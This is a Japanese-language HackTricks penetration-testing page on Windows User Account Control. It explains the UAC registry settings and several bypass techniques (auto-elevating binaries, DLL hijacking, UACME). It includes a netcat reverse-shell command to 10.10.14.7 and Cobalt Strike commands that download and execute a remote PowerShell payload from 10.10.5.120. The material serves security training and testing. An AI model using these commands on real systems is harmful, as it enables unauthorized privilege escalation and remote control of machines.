hacktricks/windows-hardening/windows-security-controls/uac-user-account-control.md

22 KiB
Raw Blame History

UAC - ユーザーアカウント制御

htARTEHackTricks AWS Red Team Expert でAWSハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

Trickest を使用して、世界で最も高度なコミュニティツールによって強化された ワークフローを簡単に構築および 自動化 できます。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

UAC

ユーザーアカウント制御UAC は、昇格されたアクティビティのための同意プロンプトを有効にする機能です。アプリケーションには異なる integrity レベルがあり、高いレベルのプログラムは システムを潜在的に危険にさらす可能性のあるタスクを実行できます。UAC が有効な場合、アプリケーションとタスクは常に、管理者が明示的にこれらのアプリケーション/タスクにシステムへの管理者レベルのアクセス権を与えることを許可するまで、管理者以外のアカウントのセキュリティコンテキストで実行されます。これは、管理者が意図しない変更から保護する便利な機能ですが、セキュリティの境界とは見なされません。

整合性レベルに関する詳細情報:

{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

UAC が設定されている場合、管理者ユーザーには 2 つのトークンが与えられます: 通常のアクションを通常のレベルで実行するための標準ユーザーキーと、管理者特権を持つもの。

このページでは、UAC がどのように機能し、ログオンプロセス、ユーザーエクスペリエンス、UAC アーキテクチャについて詳しく説明しています。管理者は、セキュリティポリシーを使用して、ローカルレベルsecpol.msc を使用)で組織固有の UAC の動作を構成したり、Active Directory ドメイン環境で構成してプッシュアウトしたりするためのグループポリシーオブジェクトGPOを使用できます。さまざまな設定については、こちらで詳しく説明されています。UAC に設定できる 10 つのグループポリシー設定があります。次の表に、追加の詳細を提供します:

Group Policy Setting Registry Key Default Setting
User Account Control: Admin Approval Mode for the built-in Administrator account FilterAdministratorToken Disabled
User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop EnableUIADesktopToggle Disabled
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode ConsentPromptBehaviorAdmin Prompt for consent for non-Windows binaries
User Account Control: Behavior of the elevation prompt for standard users ConsentPromptBehaviorUser Prompt for credentials on the secure desktop
User Account Control: Detect application installations and prompt for elevation EnableInstallerDetection Enabled (default for home) Disabled (default for enterprise)
User Account Control: Only elevate executables that are signed and validated ValidateAdminCodeSignatures Disabled
User Account Control: Only elevate UIAccess applications that are installed in secure locations EnableSecureUIAPaths Enabled
User Account Control: Run all administrators in Admin Approval Mode EnableLUA Enabled
User Account Control: Switch to the secure desktop when prompting for elevation PromptOnSecureDesktop Enabled
User Account Control: Virtualize file and registry write failures to per-user locations EnableVirtualization Enabled

UAC バイパス理論

一部のプログラムは、ユーザーが管理者グループに属している場合には 自動的に自動昇格されます。これらのバイナリには、Manifests 内に autoElevate オプションが True という値で含まれています。また、バイナリは Microsoft によって署名されている必要があります。

その後、UAC を バイパス するために(中間整合性レベルから 高い整合性レベルに昇格するために)一部の攻撃者は、この種のバイナリを使用して 任意のコードを実行します。なぜなら、それは 高いレベルの整合性プロセスから実行されるからです。

バイナリの Manifest を確認するには、Sysinternals の sigcheck.exe ツールを使用できます。また、Sysinternals の Process Explorer または Process Monitor を使用してプロセスの 整合性レベル を確認できます。

UAC の確認

UAC が有効かどうかを確認するには、次の操作を行います:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

もし**1であれば、UACは有効になっています。もし0または存在しない場合は、UACは無効**です。

次に、どのレベルが設定されているかを確認します:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • もし 0 なら、UACはプロンプトされません無効のように)
  • もし 1 なら、管理者はバイナリを高い権限で実行する際にユーザー名とパスワードを要求されます(セキュアデスクトップ上)
  • もし 2 なら(常に通知、UACは管理者が高い権限で何かを実行しようとすると常に確認を求めますセキュアデスクトップ上
  • もし 3 なら、1のようですが、セキュアデスクトップ上で必要ではありません
  • もし 4 なら、2のようですが、セキュアデスクトップ上で必要ではありません
  • もし 5デフォルトなら、非Windowsバイナリを高い権限で実行する際に管理者に確認を求めます

次に、LocalAccountTokenFilterPolicy の値を確認する必要があります。
もし値が 0 なら、RID 500 ユーザー(組み込み管理者)だけが UACなしで管理者タスクを実行でき、1 なら "Administrators" グループ内のすべてのアカウントがそれを行えます。

最後に、FilterAdministratorToken キーの値を確認します。
もし 0(デフォルト)なら、組み込み管理者アカウントが リモート管理タスクを実行でき、1 なら組み込みアカウントの管理者は、LocalAccountTokenFilterPolicy1 に設定されていない限り、リモート管理タスクを実行できません。

要約

  • EnableLUA=0 または 存在しない 場合、誰にもUACがありません
  • EnableLua=1 かつ LocalAccountTokenFilterPolicy=1 の場合、誰にもUACがありません
  • EnableLua=1 かつ LocalAccountTokenFilterPolicy=0 かつ FilterAdministratorToken=0 の場合、RID 500組み込み管理者にはUACがありません
  • EnableLua=1 かつ LocalAccountTokenFilterPolicy=0 かつ FilterAdministratorToken=1 の場合、誰にもUACがあります

これらの情報は、metasploit モジュール: post/windows/gather/win_privs を使用して収集できます。

また、ユーザーのグループを確認し、整合性レベルを取得することもできます。

net user %username%
whoami /groups | findstr Level

UACバイパス

{% hint style="info" %} 被害者へのグラフィカルアクセスがある場合、UACバイパスは簡単です。UACプロンプトが表示されたときに単純に「はい」をクリックできます。 {% endhint %}

UACバイパスは次の状況で必要ですUACがアクティブ化されており、プロセスが中間整合性コンテキストで実行されており、ユーザーが管理者グループに属している

重要なのは、UACが最高セキュリティレベル常ににある場合、他のレベルデフォルトにある場合よりもUACをバイパスするのがはるかに難しいということです。

UACが無効化されている場合

UACが既に無効化されている場合ConsentPromptBehaviorAdminが**0**である)、管理者権限(高整合性レベル)で逆シェルを実行することができます。例えば、次のようなものを使用します:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UACバイパスとトークン複製

非常に基本的なUAC "バイパス"(完全なファイルシステムアクセス)

管理者グループ内のユーザーを持つシェルがある場合、SMBファイルシステムを介してC$共有をマウントし、新しいディスク内でローカルにマウントすることができ、ファイルシステム内のすべてにアクセスできます(管理者のホームフォルダーさえも)。

{% hint style="warning" %} このトリックはもはや機能していないようです {% endhint %}

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

Cobalt Strikeを使用したUACバイパス

Cobalt Strikeのテクニックは、UACが最大セキュリティレベルに設定されていない場合にのみ機能します。

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

EmpireMetasploitには、UACバイパスするためのいくつかのモジュールもあります。

KRBUACBypass

https://github.com/wh0amitz/KRBUACBypassにあるドキュメントとツール

UACバイパスエクスプロイト

UACMEは、複数のUACバイパスエクスプロイトのコンパイルをまとめたものです。UACMEをVisual StudioまたはMSBuildを使用してコンパイルする必要があることに注意してください。コンパイルすると、いくつかの実行可能ファイルが作成されます(例:Source\Akagi\outout\x64\Debug\Akagi.exe)。どれが必要かを知る必要があります。
いくつかのバイパスは、ユーザーに何かが起こっていることを警告する他のプログラムを表示する場合があるため、注意が必要です。

UACMEには、各テクニックが動作を開始したビルドバージョンがあります。お使いのバージョンに影響を与えるテクニックを検索できます:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

UACユーザーアカウント制御のバイパス

すべてのここで使用されるUACバイパス技術は、被害者との完全な対話シェル必要です一般的なnc.exeシェルでは不十分です

meterpreterセッションを使用できます。Session値が1に等しいプロセスに移行します:

_explorer.exe_が動作するはずです

GUIを使用したUACバイパス

GUIにアクセスできる場合、UACプロンプトが表示されたときに単に受け入れることができます。バイパスは本当に必要ありません。したがって、GUIにアクセスできると、UACをバイパスできます。

さらに、誰かが使用していたGUIセッションおそらくRDP経由でにアクセスできる場合、管理者として実行されるツールがいくつかあります。そのツールから直接cmdなどを管理者として実行することができ、UACに再度プロンプトされることなく実行できます。https://github.com/oski02/UAC-GUI-Bypass-appverifのようなものがあります。これは少しステルスです。

騒々しいブルートフォースUACバイパス

騒音を気にしない場合、常にhttps://github.com/Chainski/ForceAdminのようなものを実行して、ユーザーが許可するまで権限昇格を要求することができます。

独自のバイパス - 基本的なUACバイパス手法

UACMEを見ると、ほとんどのUACバイパスがDllハイジャック脆弱性を悪用していることに気づくでしょう悪意のあるdllを_C:\Windows\System32_に書き込むことが主な方法ですDllハイジャック脆弱性を見つける方法を学ぶにはこちらを読んでください

  1. 自動昇格するバイナリを見つけます(実行時に高い整合性レベルで実行されることを確認します)。
  2. procmonを使用して、DLLハイジャックに脆弱な**"NAME NOT FOUND"**イベントを見つけます。
  3. おそらく、保護されたパス書き込み権限がないC:\Windows\System32などにDLLを書き込む必要があります。これをバイパスするには以下を使用できます
    1. wusa.exeWindows 7、8、8.1。これにより、保護されたパス内にCABファイルの内容を抽出できますこのツールは高い整合性レベルから実行されるため
    2. IFileOperationWindows 10。
  4. DLLを保護されたパスにコピーし、脆弱で自動昇格されるバイナリを実行するためのスクリプトを準備します。

別のUACバイパス技術

自動昇格バイナリレジストリから実行されるバイナリまたはコマンド名前/パス読み取ろうとするかどうかを監視することで構成されます(この情報をHKCU内で検索する場合、より興味深いです)。

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}